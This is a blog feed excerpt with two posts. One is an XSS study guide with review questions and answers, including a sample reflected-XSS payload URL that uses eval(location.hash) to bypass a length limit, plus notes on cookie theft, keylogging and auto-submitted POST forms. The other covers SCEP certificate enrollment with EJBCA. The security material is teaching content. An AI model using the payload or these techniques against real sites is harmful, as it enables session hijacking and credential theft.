&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
Because the data was introduced in JavaScript code and passed to a URL subcontext the appropriate server-side encoding would be the following:
&lt;i&gt; &amp;lt;a href=”javascript:myFunction(‘&amp;lt;%=Encoder.encodeForJavaScript( ?
              Encoder.encodeForURL(untrustedData))%&amp;gt;’, &#39;test&#39;);”&amp;gt;link&amp;lt;/a&amp;gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: large;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;More questions&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;&lt;b&gt;Questions:&lt;/b&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;1.&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;What standard &quot;signature&quot; in an application&#39;s behavior can be used to identify most instances of XSS vulnerabilities?&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;2.&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;You discover a reflected XSS vulnerability within the unauthenticated area of an application&#39;s functionality. State two different ways in which the vulnerability could be used to compromise an authenticated session within the application.&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;3.&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;You discover that the contents of a cookie parameter are copied without any filters or sanitization into the application&#39;s response. Can this behavior be used to inject arbitrary JavaScript into the returned page? Can it be exploited to perform an XSS attack against another user?&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;4.&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;You discover stored XSS behavior within data that is only ever displayed back to yourself. Does this behavior have any security significance?&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;5.&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;You are attacking a web mail application that handles file attachments and displays these in-browser. What common vulnerability should you immediately check for?&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;6.&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;How does the same-origin policy impinge upon the use of the Ajax technology XMLHttpRequest?&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;7.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;Name three possible attack payloads for XSS exploits (that is, the malicious actions that you can perform within another user&#39;s browser, not the methods by which you deliver the attacks).&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;8.&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;You have discovered a reflected XSS vulnerability where you can inject arbitrary data into a single location within the HTML of the returned page. The data inserted is truncated to 50 bytes, but you want to inject a lengthy script. You prefer not to call out to a script on an external server. How can you work around the length limit?&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;9.&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;You discover a reflected XSS flaw in a request that must use the POST method. What delivery mechanisms are feasible for performing an attack?&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;b style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;Answers:&lt;/b&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&lt;b&gt;
&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;1.User-supplied input is returned unmodified within the application’s response to that input.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;2.In most cases, XSS flaws within unauthenticated functionality work just as effectively against authenticated users – the functionality behaves in the same way, resulting in arbitrary JavaScript execution within the context of the authenticated user’s session.&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;Even if a target user is not logged in at the time of the attack, they may still be compromised. If the application is vulnerable to session fixation, then an attacker can capture their token and wait for them to log in. An attacker can inject code into the login page to capture keystrokes, or even present a Trojan login form which sends their credentials elsewhere.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;3.The answer to the first question is &quot;yes&quot;. The behavior of course enables arbitrary JavaScript to be injected via a crafted request. The answer to the second question is &quot;maybe&quot;. Historically, various ways have existed of injecting arbitrary HTTP headers into cross-domain requests, to inject a malicious cookie. Older versions of Flash and XMLHttpRequest have been vulnerable in this way. Further, many applications designed to use a cookie will in fact accept the same named parameter in other locations, such as the query string or message body.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;4.In isolation, it appears that this behavior could only ever be used by a user to attack themselves. However, in conjunction with another suitable vulnerability, such as an access control flaw, or cross-site request forgery vulnerability, it could be highly significant, and could enable an attacker to inject stored JavaScript into the pages displayed to other application users.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;5.If the application displays HTML or text files without any sanitization, then JavaScript contained within these will execute within the browser of any user who views the attachment. Further, if a JPEG file contains HTML, then this will be automatically processed as HTML within some browsers. Many web mail applications do not adequately defend against XSS in message attachments.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;6.Because XMLHttpRequest can be used to retrieve the full response from an HTTP request, it can only normally be used to make requests to the same domain as the one that is invoking it. However, HTML5 has introduced the facility for XMLHttpRequest to make cross-domain requests, and retrieve responses, with the permission of the requested domain (see Chapter 13).&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;7.There are countless different attack payloads for XSS exploits. Some of the more commonly discussed payloads are:&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;•stealing the session cookie;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;•inducing user actions;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;•injecting Trojan functionality;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;•stealing cached autocomplete data; and&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;•logging keystrokes.&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;8.You can “convert” the reflected XSS flaw into a DOM-based one. For example, if the vulnerable parameter is called vuln, you can use the following URL to execute an arbitrarily long script:&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;/script.asp?vuln=&amp;lt;script&amp;gt;eval(location.hash.substr(1))&amp;lt;/script&amp;gt;#alert(&#39;long script here ......&#39;)&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;9.If the POST method is mandatory, you cannot simply construct a crafted URL within the application that will execute an attack when a user visits it. However, you can create a third-party web page that submits to the vulnerable application a form using the POST method and the relevant parameters in hidden fields. You can use JavaScript to automatically submit the form when a user views your page.&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;/pre&gt;
&lt;/pre&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://softwarearchitectureandarchitects.blogspot.com/feeds/6107879004565493337/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2012/09/security-xss-and-injection-attacks-and.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/6107879004565493337'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/6107879004565493337'/><link rel='alternate' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2012/09/security-xss-and-injection-attacks-and.html' title='Security: XSS and Injection attacks and prevention'/><author><name>Manoj T.</name><uri>http://www.blogger.com/profile/12956931336710250261</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2716531555213613403.post-8965813323950272574</id><published>2012-09-15T12:00:00.000-07:00</published><updated>2012-09-15T12:00:05.242-07:00</updated><title type='text'>Enroll a Certificate using SCEP</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;


Overview&lt;/h2&gt;
The Simple Certificate Enrollment Protocol is a PKI communication protocol which leverages existing technology by using PKCS#7 and PKCS#10 over HTTP. SCEP is the evolution of the enrollment protocol developed by VeriSign, Inc. for Cisco Systems, Inc.&lt;br /&gt;
&lt;br /&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;


Latest Internet Draft&lt;/h2&gt;
http://tools.ietf.org/html/draft-nourse-scep&lt;br /&gt;
&lt;br /&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;


Steps&lt;/h2&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Requester sends GetCACert message to SCEP URL&lt;/li&gt;
&lt;li&gt;Either CA or RA responds with single DER-encoded X.509 certificate DER-encoded &#39;degenerate&#39; PKCS#7 SignedData message with an X.509 certificate chain (CA -&amp;gt; RA)&lt;/li&gt;
&lt;li&gt;Requester checks if CA certificate is trusted by prompting user with message digest of X.509 certificate&lt;/li&gt;
&lt;li&gt;Requester constructs a PKCS#10 certificate signing request (CSR)&lt;/li&gt;
&lt;li&gt;Requester constructs a PKCS#7 EnvelopedData object using the DER-encoded CSR and encrypts the envelope encryption key (DES or Triple-DES) using the message recipient&#39;s public key (either the CA, or an RA with a keyEncipherment KeyUsage extension)&lt;/li&gt;
&lt;li&gt;Requester constructs a PKCS#7 SignedData using the DER-encoded EnvelopedData and its certificate, and signs a (MD5, SHA-1, SHA-256 or SHA-512) digest of the data using its RSA private key&lt;/li&gt;
&lt;li&gt;Requester sends the DER-encoded SignedData object in a PKCSReq message to the RA (or CA)&lt;/li&gt;
&lt;li&gt;RA (or CA) opens the SignedData message and extracts the EnvelopedData.&lt;/li&gt;
&lt;li&gt;RA uses its private key to decrypt the EnvelopedData and extracts the PKCS#10 CSR&lt;/li&gt;
&lt;li&gt;RA examines the challengePassword in CSR to authenticate request&lt;/li&gt;
&lt;li&gt;RA sends CSR to CA&lt;/li&gt;
&lt;li&gt;CA generates X.509 certificate from CSR and signs it&lt;/li&gt;
&lt;li&gt;CA sends signed-certificate to RA&lt;/li&gt;
&lt;li&gt;RA creates a &#39;degenerate&#39; SignedData and adds signed-certificate&lt;/li&gt;
&lt;li&gt;RA creates a EnvelopedData with the DER-encoded SignedData, encrypting using the Requesters public key (provided in the SignedData)&lt;/li&gt;
&lt;li&gt;RA creates a SignedData object and signs using the RA key with a digitalSignature KeyUsage extension&lt;/li&gt;
&lt;li&gt;RA sends the message to the Requester&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 18px;&quot;&gt;new&amp;nbsp;for the SCEP client to work:&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 18px;&quot;&gt;- somehow generate the keys in keystore differently? key size. alg, cipher suite etc.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 18px;&quot;&gt;- once you receive the signed response back. store it differently:&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 18px;&quot;&gt;generate a pkcs#7 format.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 18px;&quot;&gt;or import the cert into the same alias as the keystore.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;

Programmatic&amp;nbsp;enrollment using Jscep&lt;/h2&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 18px;&quot;&gt;EJBCA Scep server URL:&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: blue; font-family: &#39;Times New Roman&#39;, serif; font-size: 18px;&quot;&gt;&lt;a href=&quot;http://localhost:8080/ejbca/publicweb/apply/scep/pkiclient.exe&quot;&gt;http://localhost:8080/ejbca/publicweb/apply/scep/pkiclient.exe&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;EJBCA requires the name identified in the certificate as &quot;CN=Some user&quot; to be defined as a user in the RA database. The user id is the CN and the password is the&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 14.5pt;&quot;&gt;PKCSObjectIdentifiers.pkcs_9_at_challengePassword&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&amp;nbsp;defined during construction of&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 14.5pt;&quot;&gt;PKCS10CertificationRequest.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 14.5pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 14.5pt;&quot;&gt;Also, if the certificate is intended for Tomcat, then the below properties should be set correctly in the EJBCA &quot;Add Entity&quot; page under the &quot;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 14.5pt;&quot;&gt;&lt;i&gt;&lt;span style=&quot;color: blue;&quot;&gt;Main Certificate Data&lt;/span&gt;&lt;/i&gt;&quot; section:&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 14.5pt;&quot;&gt;Certificate Profile: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: blue;&quot;&gt;SERVER&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 14.5pt;&quot;&gt;CA: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;AdminCA1&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 14.5pt;&quot;&gt;Token: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; User Generated&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 14.5pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 15pt;&quot;&gt;Note: Somehow Jscep has an issue with spaces in the CN and only sends the text before the space to EJBCA while enrolling the cert.&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;


&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;References&lt;/span&gt;&lt;/h2&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;


&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;EJBCA&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;&lt;a href=&quot;http://www.ejbca.org/adminguide.html#Scep&quot; style=&quot;font-size: 18px; font-weight: normal;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;http://www.ejbca.org/adminguide.html#Scep&lt;/span&gt;&lt;/a&gt;
&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;&amp;lt;TODO&amp;gt;&lt;a href=&quot;http://code.google.com/p/jscep/issues/detail?id=12&amp;amp;colspec=ID%20Type%20Status%20Priority%20Stars%20Milestone%20Owner%20Reporter%20Component%20Summary&quot; target=&quot;_blank&quot;&gt;Provide a java.security.KeyStore example&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
